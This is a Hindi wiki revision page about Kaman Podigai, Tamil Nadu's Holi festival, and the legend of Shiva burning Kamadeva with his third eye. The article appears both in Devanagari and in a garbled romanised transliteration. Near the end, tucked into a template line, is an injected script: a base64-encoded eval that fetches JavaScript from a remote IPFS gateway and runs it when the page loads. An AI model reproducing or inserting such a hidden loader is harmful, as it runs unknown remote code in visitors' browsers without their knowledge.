Difference between revisions of "कामन पोडिगई"

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[[तमिलनाडु]] में [[होली]] के त्योहार को '''कामन पोडिगई''' / कमान पंदिगाई / कमाविलास / काम-दहन के रूप में मनाया जाता है। यह त्योहार [[कामदेव]] को समर्पित होता है।  
 
[[तमिलनाडु]] में [[होली]] के त्योहार को '''कामन पोडिगई''' / कमान पंदिगाई / कमाविलास / काम-दहन के रूप में मनाया जाता है। यह त्योहार [[कामदेव]] को समर्पित होता है।  
 
==किंवदन्ती==  
 
==किंवदन्ती==  
प्राचीनकाल में देवी [[सती शिव की कथा|सती]] (भगवान [[शंकर]] की पत्नी) की मृत्यु के बाद शिव काफी व्यथित हो गए थे। इसके साथ ही वे ध्यान में चले गए। उधर [[पर्वत]] सम्राट की पुत्री (पार्वती) भी शंकर भगवान से [[विवाह]] करने के लिए तपस्या कर रही थी। [[देवता|देवताओं]] ने भगवान शंकर की निद्रा को तोड़ने के लिए कामदेव का सहारा लिया। कामदेव ने अपने कामबाण से शंकर पर वार किया। भगवान ने गुस्से में अपनी तपस्या को बीच में छोड़कर कामदेव को देखा। शंकर भगवान को बहुत गुस्सा आया कि कामदेव ने उनकी तपस्या में विघ्न डाला है, इसलिए उन्होंने अपने तीसरे नेत्र से कामदेव को भस्म कर दिया। अब कामदेव का [[बाण अस्त्र|तीर]] तो अपना काम कर ही चुका था, सो [[पार्वती]] को शंकर भगवान पति के रूप में प्राप्त हुए। उधर कामदेव की पत्नी [[रति]] ने विलाप किया और शंकर भगवान से कामदेव को जीवित करने की गुहार की। ईश्वर प्रसन्न हुए और उन्होंने कामदेव को पुनर्जीवित कर दिया। यह दिन होली का दिन होता है। आज भी रति के विलाप को लोक संगीत के रूप में गाया जाता है और [[चंदन]] की लकड़ी को अग्निदान किया जाता है ताकि कामदेव को भस्म होने में पीड़ा ना हो। साथ ही बाद में कामदेव के जीवित होने की खुशी में [[रंग|रंगों]] का त्योहार मनाया जाता है।
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प्राचीनकाल में देवी [[सती शिव की कथा|सती]] (भगवान [[शंकर]] की पत्नी) की मृत्यु के बाद शिव काफ़ी व्यथित हो गए थे। इसके साथ ही वे ध्यान में चले गए। उधर [[पर्वत]] सम्राट की पुत्री (पार्वती) भी शंकर भगवान से [[विवाह]] करने के लिए तपस्या कर रही थी। [[देवता|देवताओं]] ने भगवान शंकर की निद्रा को तोड़ने के लिए कामदेव का सहारा लिया। कामदेव ने अपने कामबाण से शंकर पर वार किया। भगवान ने गुस्से में अपनी तपस्या को बीच में छोड़कर कामदेव को देखा। शंकर भगवान को बहुत गुस्सा आया कि कामदेव ने उनकी तपस्या में विघ्न डाला है, इसलिए उन्होंने अपने तीसरे नेत्र से कामदेव को भस्म कर दिया। अब कामदेव का [[बाण अस्त्र|तीर]] तो अपना काम कर ही चुका था, सो [[पार्वती]] को शंकर भगवान पति के रूप में प्राप्त हुए। उधर कामदेव की पत्नी [[रति]] ने विलाप किया और शंकर भगवान से कामदेव को जीवित करने की गुहार की। ईश्वर प्रसन्न हुए और उन्होंने कामदेव को पुनर्जीवित कर दिया। यह दिन होली का दिन होता है। आज भी रति के विलाप को लोक संगीत के रूप में गाया जाता है और [[चंदन]] की लकड़ी को अग्निदान किया जाता है ताकि कामदेव को भस्म होने में पीड़ा ना हो। साथ ही बाद में कामदेव के जीवित होने की खुशी में [[रंग|रंगों]] का त्योहार मनाया जाता है।
  
  

Revision as of 11:26, 14 May 2013

[[chitr:Holi-tamilnadu.jpg|thumb|holi ke avasar par anand lete log, chennee, tamilanadu]] tamilanadu mean holi ke tyohar ko kaman podigee / kaman pandigaee / kamavilas / kam-dahan ke roop mean manaya jata hai. yah tyohar kamadev ko samarpit hota hai.

kianvadanti

prachinakal mean devi sati (bhagavan shankar ki patni) ki mrityu ke bad shiv kafi vyathit ho ge the. isake sath hi ve dhyan mean chale ge. udhar parvat samrat ki putri (parvati) bhi shankar bhagavan se vivah karane ke lie tapasya kar rahi thi. devataoan ne bhagavan shankar ki nidra ko to dane ke lie kamadev ka sahara liya. kamadev ne apane kamaban se shankar par var kiya. bhagavan ne gusse mean apani tapasya ko bich mean chho dakar kamadev ko dekha. shankar bhagavan ko bahut gussa aya ki kamadev ne unaki tapasya mean vighn dala hai, isalie unhoanne apane tisare netr se kamadev ko bhasm kar diya. ab kamadev ka tir to apana kam kar hi chuka tha, so parvati ko shankar bhagavan pati ke roop mean prapt hue. udhar kamadev ki patni rati ne vilap kiya aur shankar bhagavan se kamadev ko jivit karane ki guhar ki. eeshvar prasann hue aur unhoanne kamadev ko punarjivit kar diya. yah din holi ka din hota hai. aj bhi rati ke vilap ko lok sangit ke roop mean gaya jata hai aur chandan ki lak di ko agnidan kiya jata hai taki kamadev ko bhasm hone mean pi da na ho. sath hi bad mean kamadev ke jivit hone ki khushi mean rangoan ka tyohar manaya jata hai.


  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bahari k diyaan

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